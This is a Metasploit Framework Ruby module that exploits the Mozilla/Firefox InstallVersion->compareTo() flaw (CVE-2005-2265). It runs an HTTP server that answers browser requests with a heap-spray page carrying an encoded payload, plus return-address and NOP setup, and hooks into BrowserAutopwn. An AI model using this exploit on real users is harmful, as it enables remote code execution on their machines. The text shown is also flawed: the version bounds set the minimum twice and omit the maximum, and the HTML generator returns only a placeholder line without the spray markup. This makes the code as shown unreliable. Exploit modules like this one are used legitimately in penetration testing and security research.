## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking # # This module acts as an HTTP server # include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn # The version for this vuln is tricky because it affects mozilla 1.7-1.7.10 # and firefox 1.0-1.0.4, so we set minver and maxver to the outer bounds. autopwn_info({ :ua_name => HttpClients::FF, :ua_minver => "1.0", :ua_minver => "1.7.10", :os_name => OperatingSystems::WINDOWS, :javascript => true, :rank => NormalRanking, # reliable memory corruption :vuln_test => "if (typeof InstallVersion != 'undefined') { is_vuln = true; }", }) def initialize(info = {}) super(update_info(info, 'Name' => 'Mozilla Suite/Firefox InstallVersion->compareTo() Code Execution', 'Description' => %q{ This module exploits a code execution vulnerability in the Mozilla Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit module is a direct port of Aviv Raff's HTML PoC. }, 'License' => MSF_LICENSE, 'Author' => ['hdm', 'Aviv Raff '], 'Version' => '$Revision$', 'References' => [ ['CVE', '2005-2265'], ['OSVDB', '17968'], ['BID', '14242'], ['URL', 'http://www.mozilla.org/security/announce/mfsa2005-50.html'], ], 'Payload' => { 'Space' => 400, 'BadChars' => "\x00", }, 'Targets' => [ # Tested against Firefox 1.0.4 and Mozilla 1.7.1 on # WinXP-SP3 and Win2kAS-SP0 [ 'Firefox < 1.0.5, Mozilla < 1.7.10, Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86, 'Ret' => 0x0c0c0c0c, } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 13 2005' )) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' }) # Handle the payload handler(cli) end def generate_html(payload) enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch)) spray_to = sprintf("0x%.8x", target.ret) spray_slide1 = Rex::Text.to_unescape( [target.ret].pack('V'), Rex::Arch.endian(target.arch) ) spray_slide2 = Rex::Text.to_unescape( [target.ret].pack('V'), Rex::Arch.endian(target.arch) ) eax_address = sprintf("0x%.8x", target.ret) return %Q| One second please... | end end